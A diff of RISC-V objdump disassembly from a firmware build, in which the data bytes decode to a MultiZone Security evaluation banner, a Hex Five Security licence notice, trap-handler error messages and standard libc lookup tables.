-20405ace:	6f5a                	flw	ft10,148(sp)
-20405ad0:	656e                	flw	fa0,216(sp)
-20405ad2:	aec2                	fsd	fa6,344(sp)
-20405ad4:	5320                	lw	s0,96(a4)
-20405ad6:	6365                	lui	t1,0x19
-20405ad8:	7275                	lui	tp,0xffffd
-20405ada:	7469                	lui	s0,0xffffa
-20405adc:	2079                	jal	20405b6a <_exit+0x954>
-20405ade:	2020                	fld	fs0,64(s0)
-20405ae0:	2020                	fld	fs0,64(s0)
-20405ae2:	2020                	fld	fs0,64(s0)
-20405ae4:	2020                	fld	fs0,64(s0)
-20405ae6:	2020                	fld	fs0,64(s0)
-20405ae8:	2020                	fld	fs0,64(s0)
-20405aea:	2020                	fld	fs0,64(s0)
-20405aec:	2020                	fld	fs0,64(s0)
-20405aee:	2020                	fld	fs0,64(s0)
-20405af0:	0a20                	addi	s0,sp,280
-20405af2:	0000                	unimp
-20405af4:	2020                	fld	fs0,64(s0)
-20405af6:	2020                	fld	fs0,64(s0)
-20405af8:	79706f43          	fmadd.s	ft10,ft0,fs7,fa5,unknown
-20405afc:	6972                	flw	fs2,28(sp)
-20405afe:	c2746867          	0xc2746867
-20405b02:	20a9                	jal	20405b4c <_exit+0x936>
-20405b04:	3032                	fld	ft0,296(sp)
-20405b06:	3032                	fld	ft0,296(sp)
-20405b08:	4820                	lw	s0,80(s0)
-20405b0a:	7865                	lui	a6,0xffff9
-20405b0c:	4620                	lw	s0,72(a2)
-20405b0e:	7669                	lui	a2,0xffffa
-20405b10:	2065                	jal	20405bb8 <_exit+0x9a2>
-20405b12:	75636553          	0x75636553
-20405b16:	6972                	flw	fs2,28(sp)
-20405b18:	7974                	flw	fa3,116(a0)
-20405b1a:	202c                	fld	fa1,64(s0)
-20405b1c:	6e49                	lui	t3,0x12
-20405b1e:	2d202e63          	0x2d202e63
-20405b22:	4120                	lw	s0,64(a0)
-20405b24:	6c6c                	flw	fa1,92(s0)
-20405b26:	5220                	lw	s0,96(a2)
-20405b28:	6769                	lui	a4,0x1a
-20405b2a:	7468                	flw	fa0,108(s0)
-20405b2c:	65522073          	csrs	0x655,tp
-20405b30:	76726573          	csrrsi	a0,0x767,4
-20405b34:	6465                	lui	s0,0x19
-20405b36:	2020                	fld	fs0,64(s0)
-20405b38:	2020                	fld	fs0,64(s0)
-20405b3a:	000a                	c.slli	zero,0x2
-20405b3c:	6854                	flw	fa3,20(s0)
-20405b3e:	7369                	lui	t1,0xffffa
-20405b40:	7620                	flw	fs0,104(a2)
-20405b42:	7265                	lui	tp,0xffff9
-20405b44:	6e6f6973          	csrrsi	s2,0x6e6,30
-20405b48:	6f20                	flw	fs0,88(a4)
-20405b4a:	2066                	fld	ft0,88(sp)
-20405b4c:	754d                	lui	a0,0xffff3
-20405b4e:	746c                	flw	fa1,108(s0)
-20405b50:	5a69                	li	s4,-6
-20405b52:	c2656e6f          	jal	t3,2035bf78 <__stack_size+0x2035b778>
-20405b56:	20ae                	fld	ft1,200(sp)
-20405b58:	75636553          	0x75636553
-20405b5c:	6972                	flw	fs2,28(sp)
-20405b5e:	7974                	flw	fa3,116(a0)
-20405b60:	6920                	flw	fs0,80(a0)
-20405b62:	656d2073          	csrs	0x656,s10
-20405b66:	6e61                	lui	t3,0x18
-20405b68:	2074                	fld	fa3,192(s0)
-20405b6a:	6f66                	flw	ft10,88(sp)
-20405b6c:	2072                	fld	ft0,280(sp)
-20405b6e:	7665                	lui	a2,0xffff9
-20405b70:	6c61                	lui	s8,0x18
-20405b72:	6175                	addi	sp,sp,368
-20405b74:	6974                	flw	fa3,84(a0)
-20405b76:	70206e6f          	jal	t3,2040c278 <_data_lma+0x6298>
-20405b7a:	7275                	lui	tp,0xffffd
-20405b7c:	6f70                	flw	fa2,92(a4)
-20405b7e:	20736573          	csrrsi	a0,0x207,6
-20405b82:	000a                	c.slli	zero,0x2
-20405b84:	796c6e6f          	jal	t3,204cc31a <_data_lma+0xc633a>
-20405b88:	202e                	fld	ft0,200(sp)
-20405b8a:	7341                	lui	t1,0xffff0
-20405b8c:	7320                	flw	fs0,96(a4)
-20405b8e:	6375                	lui	t1,0x1d
-20405b90:	2c68                	fld	fa0,216(s0)
-20405b92:	7520                	flw	fs0,104(a0)
-20405b94:	6f206573          	csrrsi	a0,0x6f2,0
-20405b98:	2066                	fld	ft0,88(sp)
-20405b9a:	6874                	flw	fa3,84(s0)
-20405b9c:	7369                	lui	t1,0xffffa
-20405b9e:	7320                	flw	fs0,96(a4)
-20405ba0:	7774666f          	jal	a2,2044cb16 <_data_lma+0x46b36>
-20405ba4:	7261                	lui	tp,0xffff8
-20405ba6:	2065                	jal	20405c4e <_exit+0xa38>
-20405ba8:	7369                	lui	t1,0xffffa
-20405baa:	6720                	flw	fs0,72(a4)
-20405bac:	7265766f          	jal	a2,2045d2d2 <_data_lma+0x572f2>
-20405bb0:	656e                	flw	fa0,216(sp)
-20405bb2:	2064                	fld	fs1,192(s0)
-20405bb4:	7962                	flw	fs2,56(sp)
-20405bb6:	7420                	flw	fs0,104(s0)
-20405bb8:	6568                	flw	fa0,76(a0)
-20405bba:	4520                	lw	s0,72(a0)
-20405bbc:	6176                	flw	ft2,92(sp)
-20405bbe:	756c                	flw	fa1,108(a0)
-20405bc0:	7461                	lui	s0,0xffff8
-20405bc2:	6f69                	lui	t5,0x1a
-20405bc4:	206e                	fld	ft0,216(sp)
-20405bc6:	2020                	fld	fs0,64(s0)
-20405bc8:	0a20                	addi	s0,sp,280
-20405bca:	0000                	unimp
-20405bcc:	694c                	flw	fa1,20(a0)
-20405bce:	736e6563          	bltu	t3,s6,204062f8 <_data_lma+0x318>
-20405bd2:	2e65                	jal	20405f8a <__sf_fake_stdout+0x5e>
-20405bd4:	5420                	lw	s0,104(s0)
-20405bd6:	6568                	flw	fa0,76(a0)
-20405bd8:	6572                	flw	fa0,28(sp)
-20405bda:	6d20                	flw	fs0,88(a0)
-20405bdc:	7961                	lui	s2,0xffff8
-20405bde:	6220                	flw	fs0,64(a2)
-20405be0:	2065                	jal	20405c88 <_exit+0xa72>
-20405be2:	6568746f          	jal	s0,2048d238 <_data_lma+0x87258>
-20405be6:	2072                	fld	ft0,280(sp)
-20405be8:	7566                	flw	fa0,120(sp)
-20405bea:	636e                	flw	ft6,216(sp)
-20405bec:	6974                	flw	fa3,84(a0)
-20405bee:	6c616e6f          	jal	t3,2041c2b4 <_data_lma+0x162d4>
-20405bf2:	6c20                	flw	fs0,88(s0)
-20405bf4:	6d69                	lui	s10,0x1a
-20405bf6:	7469                	lui	s0,0xffffa
-20405bf8:	7461                	lui	s0,0xffff8
-20405bfa:	6f69                	lui	t5,0x1a
-20405bfc:	736e                	flw	ft6,248(sp)
-20405bfe:	6120                	flw	fs0,64(a0)
-20405c00:	65642073          	csrs	0x656,s0
-20405c04:	69726373          	csrrsi	t1,0x697,4
-20405c08:	6562                	flw	fa0,24(sp)
-20405c0a:	2064                	fld	fs1,192(s0)
-20405c0c:	6e69                	lui	t3,0x1a
-20405c0e:	2020                	fld	fs0,64(s0)
-20405c10:	0a20                	addi	s0,sp,280
-20405c12:	0000                	unimp
-20405c14:	6874                	flw	fa3,84(s0)
-20405c16:	2065                	jal	20405cbe <_exit+0xaa8>
-20405c18:	7665                	lui	a2,0xffff9
-20405c1a:	6c61                	lui	s8,0x18
-20405c1c:	6175                	addi	sp,sp,368
-20405c1e:	6974                	flw	fa3,84(a0)
-20405c20:	53206e6f          	jal	t3,2040c152 <_data_lma+0x6172>
-20405c24:	4b44                	lw	s1,20(a4)
-20405c26:	6420                	flw	fs0,72(s0)
-20405c28:	6d75636f          	jal	t1,2045cafe <_data_lma+0x56b1e>
-20405c2c:	6e65                	lui	t3,0x19
-20405c2e:	6174                	flw	fa3,68(a0)
-20405c30:	6974                	flw	fa3,84(a0)
-20405c32:	202e6e6f          	jal	t3,204ebe34 <_data_lma+0xe5e54>
-20405c36:	6854                	flw	fa3,20(s0)
-20405c38:	2065                	jal	20405ce0 <_exit+0xaca>
-20405c3a:	6d6d6f63          	bltu	s10,s6,20406318 <_data_lma+0x338>
-20405c3e:	7265                	lui	tp,0xffff9
-20405c40:	6c616963          	bltu	sp,t1,20406312 <_data_lma+0x332>
-20405c44:	7620                	flw	fs0,104(a2)
-20405c46:	7265                	lui	tp,0xffff9
-20405c48:	6e6f6973          	csrrsi	s2,0x6e6,30
-20405c4c:	6f20                	flw	fs0,88(a4)
-20405c4e:	2066                	fld	ft0,88(sp)
-20405c50:	6874                	flw	fa3,84(s0)
-20405c52:	2065                	jal	20405cfa <__clz_tab+0x12>
-20405c54:	2020                	fld	fs0,64(s0)
-20405c56:	2020                	fld	fs0,64(s0)
-20405c58:	0a20                	addi	s0,sp,280
-20405c5a:	0000                	unimp
-20405c5c:	74666f73          	csrrsi	t5,0x746,12
-20405c60:	65726177          	0x65726177
-20405c64:	6420                	flw	fs0,72(s0)
-20405c66:	2073656f          	jal	a0,2043c66c <_data_lma+0x3668c>
-20405c6a:	6f6e                	flw	ft10,216(sp)
-20405c6c:	2074                	fld	fa3,192(s0)
-20405c6e:	6168                	flw	fa0,68(a0)
-20405c70:	6576                	flw	fa0,92(sp)
-20405c72:	7420                	flw	fs0,104(s0)
-20405c74:	6568                	flw	fa0,76(a0)
-20405c76:	72206573          	csrrsi	a0,0x722,0
-20405c7a:	7365                	lui	t1,0xffff9
-20405c7c:	7274                	flw	fa3,100(a2)
-20405c7e:	6369                	lui	t1,0x1a
-20405c80:	6974                	flw	fa3,84(a0)
-20405c82:	2e736e6f          	jal	t3,2043c768 <_data_lma+0x36788>
-20405c86:	2020                	fld	fs0,64(s0)
-20405c88:	2020                	fld	fs0,64(s0)
-20405c8a:	2020                	fld	fs0,64(s0)
-20405c8c:	2020                	fld	fs0,64(s0)
-20405c8e:	2020                	fld	fs0,64(s0)
-20405c90:	2020                	fld	fs0,64(s0)
-20405c92:	2020                	fld	fs0,64(s0)
-20405c94:	2020                	fld	fs0,64(s0)
-20405c96:	2020                	fld	fs0,64(s0)
-20405c98:	2020                	fld	fs0,64(s0)
-20405c9a:	2020                	fld	fs0,64(s0)
-20405c9c:	2020                	fld	fs0,64(s0)
-20405c9e:	2020                	fld	fs0,64(s0)
-20405ca0:	0a20                	addi	s0,sp,280
-20405ca2:	0000                	unimp
-20405ca4:	0d0a                	slli	s10,s10,0x2
-20405ca6:	325a                	fld	ft4,432(sp)
-20405ca8:	3e20                	fld	fs0,120(a2)
-20405caa:	0020                	addi	s0,sp,8
-20405cac:	69466953          	0x69466953
-20405cb0:	6576                	flw	fa0,92(sp)
-20405cb2:	202c                	fld	fa1,64(s0)
-20405cb4:	6e49                	lui	t3,0x12
-20405cb6:	00002e63          	0x2e63
-20405cba:	0000                	unimp
-20405cbc:	6548                	flw	fa0,12(a0)
-20405cbe:	2078                	fld	fa4,192(s0)
-20405cc0:	6946                	flw	fs2,80(sp)
-20405cc2:	6576                	flw	fa0,92(sp)
-20405cc4:	202c                	fld	fa1,64(s0)
-20405cc6:	6e49                	lui	t3,0x12
-20405cc8:	00002e63          	0x2e63
-20405ccc:	0000                	unimp
-20405cce:	0000                	unimp
-20405cd0:	3358                	fld	fa4,160(a4)
-20405cd2:	3030                	fld	fa2,96(s0)
-20405cd4:	0000                	unimp
-20405cd6:	0000                	unimp
-20405cd8:	3345                	jal	20405a78 <_exit+0x862>
-20405cda:	0031                	c.nop	12
-20405cdc:	0000                	unimp
-20405cde:	0000                	unimp
-20405ce0:	3245                	jal	20405680 <_exit+0x46a>
-20405ce2:	0031                	c.nop	12
-20405ce4:	0000                	unimp
-	...
-
-20405ce8 <__clz_tab>:
-20405ce8:	0100                	addi	s0,sp,128
-20405cea:	0202                	c.slli64	tp
-20405cec:	03030303          	lb	t1,48(t1) # 1a030 <__stack_size+0x19830>
-20405cf0:	0404                	addi	s1,sp,512
-20405cf2:	0404                	addi	s1,sp,512
-20405cf4:	0404                	addi	s1,sp,512
-20405cf6:	0404                	addi	s1,sp,512
-20405cf8:	0505                	addi	a0,a0,1
-20405cfa:	0505                	addi	a0,a0,1
-20405cfc:	0505                	addi	a0,a0,1
-20405cfe:	0505                	addi	a0,a0,1
-20405d00:	0505                	addi	a0,a0,1
-20405d02:	0505                	addi	a0,a0,1
-20405d04:	0505                	addi	a0,a0,1
-20405d06:	0505                	addi	a0,a0,1
-20405d08:	0606                	slli	a2,a2,0x1
-20405d0a:	0606                	slli	a2,a2,0x1
-20405d0c:	0606                	slli	a2,a2,0x1
-20405d0e:	0606                	slli	a2,a2,0x1
-20405d10:	0606                	slli	a2,a2,0x1
-20405d12:	0606                	slli	a2,a2,0x1
-20405d14:	0606                	slli	a2,a2,0x1
-20405d16:	0606                	slli	a2,a2,0x1
-20405d18:	0606                	slli	a2,a2,0x1
-20405d1a:	0606                	slli	a2,a2,0x1
-20405d1c:	0606                	slli	a2,a2,0x1
-20405d1e:	0606                	slli	a2,a2,0x1
-20405d20:	0606                	slli	a2,a2,0x1
-20405d22:	0606                	slli	a2,a2,0x1
-20405d24:	0606                	slli	a2,a2,0x1
-20405d26:	0606                	slli	a2,a2,0x1
-20405d28:	07070707          	0x7070707
-20405d2c:	07070707          	0x7070707
-20405d30:	07070707          	0x7070707
-20405d34:	07070707          	0x7070707
-20405d38:	07070707          	0x7070707
-20405d3c:	07070707          	0x7070707
-20405d40:	07070707          	0x7070707
-20405d44:	07070707          	0x7070707
-20405d48:	07070707          	0x7070707
-20405d4c:	07070707          	0x7070707
-20405d50:	07070707          	0x7070707
-20405d54:	07070707          	0x7070707
-20405d58:	07070707          	0x7070707
-20405d5c:	07070707          	0x7070707
-20405d60:	07070707          	0x7070707
-20405d64:	07070707          	0x7070707
-20405d68:	0808                	addi	a0,sp,16
-20405d6a:	0808                	addi	a0,sp,16
-20405d6c:	0808                	addi	a0,sp,16
-20405d6e:	0808                	addi	a0,sp,16
-20405d70:	0808                	addi	a0,sp,16
-20405d72:	0808                	addi	a0,sp,16
-20405d74:	0808                	addi	a0,sp,16
-20405d76:	0808                	addi	a0,sp,16
-20405d78:	0808                	addi	a0,sp,16
-20405d7a:	0808                	addi	a0,sp,16
-20405d7c:	0808                	addi	a0,sp,16
-20405d7e:	0808                	addi	a0,sp,16
-20405d80:	0808                	addi	a0,sp,16
-20405d82:	0808                	addi	a0,sp,16
-20405d84:	0808                	addi	a0,sp,16
-20405d86:	0808                	addi	a0,sp,16
-20405d88:	0808                	addi	a0,sp,16
-20405d8a:	0808                	addi	a0,sp,16
-20405d8c:	0808                	addi	a0,sp,16
-20405d8e:	0808                	addi	a0,sp,16
-20405d90:	0808                	addi	a0,sp,16
-20405d92:	0808                	addi	a0,sp,16
-20405d94:	0808                	addi	a0,sp,16
-20405d96:	0808                	addi	a0,sp,16
-20405d98:	0808                	addi	a0,sp,16
-20405d9a:	0808                	addi	a0,sp,16
-20405d9c:	0808                	addi	a0,sp,16
-20405d9e:	0808                	addi	a0,sp,16
-20405da0:	0808                	addi	a0,sp,16
-20405da2:	0808                	addi	a0,sp,16
-20405da4:	0808                	addi	a0,sp,16
-20405da6:	0808                	addi	a0,sp,16
-20405da8:	0808                	addi	a0,sp,16
-20405daa:	0808                	addi	a0,sp,16
-20405dac:	0808                	addi	a0,sp,16
-20405dae:	0808                	addi	a0,sp,16
-20405db0:	0808                	addi	a0,sp,16
-20405db2:	0808                	addi	a0,sp,16
-20405db4:	0808                	addi	a0,sp,16
-20405db6:	0808                	addi	a0,sp,16
-20405db8:	0808                	addi	a0,sp,16
-20405dba:	0808                	addi	a0,sp,16
-20405dbc:	0808                	addi	a0,sp,16
-20405dbe:	0808                	addi	a0,sp,16
-20405dc0:	0808                	addi	a0,sp,16
-20405dc2:	0808                	addi	a0,sp,16
-20405dc4:	0808                	addi	a0,sp,16
-20405dc6:	0808                	addi	a0,sp,16
-20405dc8:	0808                	addi	a0,sp,16
-20405dca:	0808                	addi	a0,sp,16
-20405dcc:	0808                	addi	a0,sp,16
-20405dce:	0808                	addi	a0,sp,16
-20405dd0:	0808                	addi	a0,sp,16
-20405dd2:	0808                	addi	a0,sp,16
-20405dd4:	0808                	addi	a0,sp,16
-20405dd6:	0808                	addi	a0,sp,16
-20405dd8:	0808                	addi	a0,sp,16
-20405dda:	0808                	addi	a0,sp,16
-20405ddc:	0808                	addi	a0,sp,16
-20405dde:	0808                	addi	a0,sp,16
-20405de0:	0808                	addi	a0,sp,16
-20405de2:	0808                	addi	a0,sp,16
-20405de4:	0808                	addi	a0,sp,16
-20405de6:	0808                	addi	a0,sp,16
-
-20405de8 <_ctype_>:
-20405de8:	2000                	fld	fs0,0(s0)
-20405dea:	2020                	fld	fs0,64(s0)
-20405dec:	2020                	fld	fs0,64(s0)
-20405dee:	2020                	fld	fs0,64(s0)
-20405df0:	2020                	fld	fs0,64(s0)
-20405df2:	2828                	fld	fa0,80(s0)
-20405df4:	2828                	fld	fa0,80(s0)
-20405df6:	2028                	fld	fa0,64(s0)
-20405df8:	2020                	fld	fs0,64(s0)
-20405dfa:	2020                	fld	fs0,64(s0)
-20405dfc:	2020                	fld	fs0,64(s0)
-20405dfe:	2020                	fld	fs0,64(s0)
-20405e00:	2020                	fld	fs0,64(s0)
-20405e02:	2020                	fld	fs0,64(s0)
-20405e04:	2020                	fld	fs0,64(s0)
-20405e06:	2020                	fld	fs0,64(s0)
-20405e08:	8820                	0x8820
-20405e0a:	1010                	addi	a2,sp,32
-20405e0c:	1010                	addi	a2,sp,32
-20405e0e:	1010                	addi	a2,sp,32
-20405e10:	1010                	addi	a2,sp,32
-20405e12:	1010                	addi	a2,sp,32
-20405e14:	1010                	addi	a2,sp,32
-20405e16:	1010                	addi	a2,sp,32
-20405e18:	0410                	addi	a2,sp,512
-20405e1a:	0404                	addi	s1,sp,512
-20405e1c:	0404                	addi	s1,sp,512
-20405e1e:	0404                	addi	s1,sp,512
-20405e20:	0404                	addi	s1,sp,512
-20405e22:	1004                	addi	s1,sp,32
-20405e24:	1010                	addi	a2,sp,32
-20405e26:	1010                	addi	a2,sp,32
-20405e28:	1010                	addi	a2,sp,32
-20405e2a:	4141                	li	sp,16
-20405e2c:	4141                	li	sp,16
-20405e2e:	4141                	li	sp,16
-20405e30:	0101                	addi	sp,sp,0
-20405e32:	0101                	addi	sp,sp,0
-20405e34:	0101                	addi	sp,sp,0
-20405e36:	0101                	addi	sp,sp,0
-20405e38:	0101                	addi	sp,sp,0
-20405e3a:	0101                	addi	sp,sp,0
-20405e3c:	0101                	addi	sp,sp,0
-20405e3e:	0101                	addi	sp,sp,0
-20405e40:	0101                	addi	sp,sp,0
-20405e42:	0101                	addi	sp,sp,0
-20405e44:	1010                	addi	a2,sp,32
-20405e46:	1010                	addi	a2,sp,32
-20405e48:	1010                	addi	a2,sp,32
-20405e4a:	4242                	lw	tp,16(sp)
-20405e4c:	4242                	lw	tp,16(sp)
-20405e4e:	4242                	lw	tp,16(sp)
-20405e50:	0202                	c.slli64	tp
-20405e52:	0202                	c.slli64	tp
-20405e54:	0202                	c.slli64	tp
-20405e56:	0202                	c.slli64	tp
-20405e58:	0202                	c.slli64	tp
-20405e5a:	0202                	c.slli64	tp
-20405e5c:	0202                	c.slli64	tp
-20405e5e:	0202                	c.slli64	tp
-20405e60:	0202                	c.slli64	tp
-20405e62:	0202                	c.slli64	tp
-20405e64:	1010                	addi	a2,sp,32
-20405e66:	1010                	addi	a2,sp,32
-20405e68:	0020                	addi	s0,sp,8
+20403bf8 <__sf_fake_stderr-0x834>:
+20403bf8:	6e49                	lui	t3,0x12
+20403bfa:	75727473          	csrrci	s0,0x757,4
+20403bfe:	6f697463          	bgeu	s2,s6,204042e6 <_exit+0x6f4>
+20403c02:	206e                	fld	ft0,216(sp)
+20403c04:	6461                	lui	s0,0x18
+20403c06:	7264                	flw	fs1,100(a2)
+20403c08:	7365                	lui	t1,0xffff9
+20403c0a:	696d2073          	csrs	0x696,s10
+20403c0e:	6c617373          	csrrci	t1,0x6c6,2
+20403c12:	6769                	lui	a4,0x1a
+20403c14:	656e                	flw	fa0,216(sp)
+20403c16:	2064                	fld	fs1,192(s0)
+20403c18:	203a                	fld	ft0,392(sp)
+20403c1a:	7830                	flw	fa2,112(s0)
+20403c1c:	3025                	jal	20403444 <_vfiprintf_r+0x1c2>
+20403c1e:	7838                	flw	fa4,112(s0)
+20403c20:	3020                	fld	fs0,96(s0)
+20403c22:	2578                	fld	fa4,200(a0)
+20403c24:	3830                	fld	fa2,112(s0)
+20403c26:	2078                	fld	fa4,192(s0)
+20403c28:	7830                	flw	fa2,112(s0)
+20403c2a:	3025                	jal	20403452 <_vfiprintf_r+0x1d0>
+20403c2c:	7838                	flw	fa4,112(s0)
+20403c2e:	0a20                	addi	s0,sp,280
+20403c30:	0000                	unimp
+20403c32:	0000                	unimp
+20403c34:	6e49                	lui	t3,0x12
+20403c36:	75727473          	csrrci	s0,0x757,4
+20403c3a:	6f697463          	bgeu	s2,s6,20404322 <_exit+0x730>
+20403c3e:	206e                	fld	ft0,216(sp)
+20403c40:	6361                	lui	t1,0x18
+20403c42:	73736563          	bltu	t1,s7,2040436c <_exit+0x77a>
+20403c46:	6620                	flw	fs0,72(a2)
+20403c48:	7561                	lui	a0,0xffff8
+20403c4a:	746c                	flw	fa1,108(s0)
+20403c4c:	3a20                	fld	fs0,112(a2)
+20403c4e:	3020                	fld	fs0,96(s0)
+20403c50:	2578                	fld	fa4,200(a0)
+20403c52:	3830                	fld	fa2,112(s0)
+20403c54:	2078                	fld	fa4,192(s0)
+20403c56:	7830                	flw	fa2,112(s0)
+20403c58:	3025                	jal	20403480 <_vfiprintf_r+0x1fe>
+20403c5a:	7838                	flw	fa4,112(s0)
+20403c5c:	3020                	fld	fs0,96(s0)
+20403c5e:	2578                	fld	fa4,200(a0)
+20403c60:	3830                	fld	fa2,112(s0)
+20403c62:	2078                	fld	fa4,192(s0)
+20403c64:	000a                	c.slli	zero,0x2
+20403c66:	0000                	unimp
+20403c68:	6c49                	lui	s8,0x12
+20403c6a:	656c                	flw	fa1,76(a0)
+20403c6c:	206c6167          	0x206c6167
+20403c70:	6e69                	lui	t3,0x1a
+20403c72:	75727473          	csrrci	s0,0x757,4
+20403c76:	6f697463          	bgeu	s2,s6,2040435e <_exit+0x76c>
+20403c7a:	206e                	fld	ft0,216(sp)
+20403c7c:	203a                	fld	ft0,392(sp)
+20403c7e:	7830                	flw	fa2,112(s0)
+20403c80:	3025                	jal	204034a8 <_vfiprintf_r+0x226>
+20403c82:	7838                	flw	fa4,112(s0)
+20403c84:	3020                	fld	fs0,96(s0)
+20403c86:	2578                	fld	fa4,200(a0)
+20403c88:	3830                	fld	fa2,112(s0)
+20403c8a:	2078                	fld	fa4,192(s0)
+20403c8c:	7830                	flw	fa2,112(s0)
+20403c8e:	3025                	jal	204034b6 <_vfiprintf_r+0x234>
+20403c90:	7838                	flw	fa4,112(s0)
+20403c92:	0a20                	addi	s0,sp,280
+20403c94:	0000                	unimp
+20403c96:	0000                	unimp
+20403c98:	7242                	flw	ft4,48(sp)
+20403c9a:	6165                	addi	sp,sp,112
+20403c9c:	696f706b          	0x696f706b
+20403ca0:	746e                	flw	fs0,248(sp)
+20403ca2:	3a20                	fld	fs0,112(a2)
+20403ca4:	3020                	fld	fs0,96(s0)
+20403ca6:	2578                	fld	fa4,200(a0)
+20403ca8:	3830                	fld	fa2,112(s0)
+20403caa:	2078                	fld	fa4,192(s0)
+20403cac:	7830                	flw	fa2,112(s0)
+20403cae:	3025                	jal	204034d6 <_vfiprintf_r+0x254>
+20403cb0:	7838                	flw	fa4,112(s0)
+20403cb2:	3020                	fld	fs0,96(s0)
+20403cb4:	2578                	fld	fa4,200(a0)
+20403cb6:	3830                	fld	fa2,112(s0)
+20403cb8:	2078                	fld	fa4,192(s0)
+20403cba:	000a                	c.slli	zero,0x2
+20403cbc:	6f4c                	flw	fa1,28(a4)
+20403cbe:	6461                	lui	s0,0x18
+20403cc0:	6120                	flw	fs0,64(a0)
+20403cc2:	6464                	flw	fs1,76(s0)
+20403cc4:	6572                	flw	fa0,28(sp)
+20403cc6:	6d207373          	csrrci	t1,0x6d2,0
+20403cca:	7369                	lui	t1,0xffffa
+20403ccc:	696c6173          	csrrsi	sp,0x696,24
+20403cd0:	64656e67          	0x64656e67
+20403cd4:	3a20                	fld	fs0,112(a2)
+20403cd6:	3020                	fld	fs0,96(s0)
+20403cd8:	2578                	fld	fa4,200(a0)
+20403cda:	3830                	fld	fa2,112(s0)
+20403cdc:	2078                	fld	fa4,192(s0)
+20403cde:	7830                	flw	fa2,112(s0)
+20403ce0:	3025                	jal	20403508 <_vfiprintf_r+0x286>
+20403ce2:	7838                	flw	fa4,112(s0)
+20403ce4:	3020                	fld	fs0,96(s0)
+20403ce6:	2578                	fld	fa4,200(a0)
+20403ce8:	3830                	fld	fa2,112(s0)
+20403cea:	2078                	fld	fa4,192(s0)
+20403cec:	000a                	c.slli	zero,0x2
+20403cee:	0000                	unimp
+20403cf0:	6f4c                	flw	fa1,28(a4)
+20403cf2:	6461                	lui	s0,0x18
+20403cf4:	6120                	flw	fs0,64(a0)
+20403cf6:	73656363          	bltu	a0,s6,2040441c <_exit+0x82a>
+20403cfa:	61662073          	csrs	0x616,a2
+20403cfe:	6c75                	lui	s8,0x1d
+20403d00:	2074                	fld	fa3,192(s0)
+20403d02:	203a                	fld	ft0,392(sp)
+20403d04:	7830                	flw	fa2,112(s0)
+20403d06:	3025                	jal	2040352e <_open_r+0x14>
+20403d08:	7838                	flw	fa4,112(s0)
+20403d0a:	3020                	fld	fs0,96(s0)
+20403d0c:	2578                	fld	fa4,200(a0)
+20403d0e:	3830                	fld	fa2,112(s0)
+20403d10:	2078                	fld	fa4,192(s0)
+20403d12:	7830                	flw	fa2,112(s0)
+20403d14:	3025                	jal	2040353c <_open_r+0x22>
+20403d16:	7838                	flw	fa4,112(s0)
+20403d18:	0a20                	addi	s0,sp,280
+20403d1a:	0000                	unimp
+20403d1c:	726f7453          	0x726f7453
+20403d20:	2f65                	jal	204044d8 <__sf_fake_stdout+0x6c>
+20403d22:	4d41                	li	s10,16
+20403d24:	6461204f          	0x6461204f
+20403d28:	7264                	flw	fs1,100(a2)
+20403d2a:	7365                	lui	t1,0xffff9
+20403d2c:	696d2073          	csrs	0x696,s10
+20403d30:	6c617373          	csrrci	t1,0x6c6,2
+20403d34:	6769                	lui	a4,0x1a
+20403d36:	656e                	flw	fa0,216(sp)
+20403d38:	2064                	fld	fs1,192(s0)
+20403d3a:	203a                	fld	ft0,392(sp)
+20403d3c:	7830                	flw	fa2,112(s0)
+20403d3e:	3025                	jal	20403566 <_read_r+0x20>
+20403d40:	7838                	flw	fa4,112(s0)
+20403d42:	3020                	fld	fs0,96(s0)
+20403d44:	2578                	fld	fa4,200(a0)
+20403d46:	3830                	fld	fa2,112(s0)
+20403d48:	2078                	fld	fa4,192(s0)
+20403d4a:	7830                	flw	fa2,112(s0)
+20403d4c:	3025                	jal	20403574 <__sread+0x2>
+20403d4e:	7838                	flw	fa4,112(s0)
+20403d50:	0a20                	addi	s0,sp,280
+20403d52:	0000                	unimp
+20403d54:	726f7453          	0x726f7453
+20403d58:	2065                	jal	20403e00 <_exit+0x20e>
+20403d5a:	6361                	lui	t1,0x18
+20403d5c:	73736563          	bltu	t1,s7,20404486 <__sf_fake_stdout+0x1a>
+20403d60:	6620                	flw	fs0,72(a2)
+20403d62:	7561                	lui	a0,0xffff8
+20403d64:	746c                	flw	fa1,108(s0)
+20403d66:	3a20                	fld	fs0,112(a2)
+20403d68:	3020                	fld	fs0,96(s0)
+20403d6a:	2578                	fld	fa4,200(a0)
+20403d6c:	3830                	fld	fa2,112(s0)
+20403d6e:	2078                	fld	fa4,192(s0)
+20403d70:	7830                	flw	fa2,112(s0)
+20403d72:	3025                	jal	2040359a <__sread+0x28>
+20403d74:	7838                	flw	fa4,112(s0)
+20403d76:	3020                	fld	fs0,96(s0)
+20403d78:	2578                	fld	fa4,200(a0)
+20403d7a:	3830                	fld	fa2,112(s0)
+20403d7c:	2078                	fld	fa4,192(s0)
+20403d7e:	000a                	c.slli	zero,0x2
+20403d80:	6e45                	lui	t3,0x11
+20403d82:	6976                	flw	fs2,92(sp)
+20403d84:	6f72                	flw	ft10,28(sp)
+20403d86:	6d6e                	flw	fs10,216(sp)
+20403d88:	6e65                	lui	t3,0x19
+20403d8a:	2074                	fld	fa3,192(s0)
+20403d8c:	6c6c6163          	bltu	s8,t1,2040444e <__sf_fake_stdin+0x2>
+20403d90:	6620                	flw	fs0,72(a2)
+20403d92:	6f72                	flw	ft10,28(sp)
+20403d94:	206d                	jal	20403e3e <_exit+0x24c>
+20403d96:	2d55                	jal	2040444a <__sf_fake_stderr+0x1e>
+20403d98:	6f6d                	lui	t5,0x1b
+20403d9a:	6564                	flw	fs1,76(a0)
+20403d9c:	3a20                	fld	fs0,112(a2)
+20403d9e:	3020                	fld	fs0,96(s0)
+20403da0:	2578                	fld	fa4,200(a0)
+20403da2:	3830                	fld	fa2,112(s0)
+20403da4:	2078                	fld	fa4,192(s0)
+20403da6:	7830                	flw	fa2,112(s0)
+20403da8:	3025                	jal	204035d0 <__swrite+0x2e>
+20403daa:	7838                	flw	fa4,112(s0)
+20403dac:	3020                	fld	fs0,96(s0)
+20403dae:	2578                	fld	fa4,200(a0)
+20403db0:	3830                	fld	fa2,112(s0)
+20403db2:	2078                	fld	fa4,192(s0)
+20403db4:	000a                	c.slli	zero,0x2
+20403db6:	0000                	unimp
+20403db8:	6e45                	lui	t3,0x11
+20403dba:	6976                	flw	fs2,92(sp)
+20403dbc:	6f72                	flw	ft10,28(sp)
+20403dbe:	6d6e                	flw	fs10,216(sp)
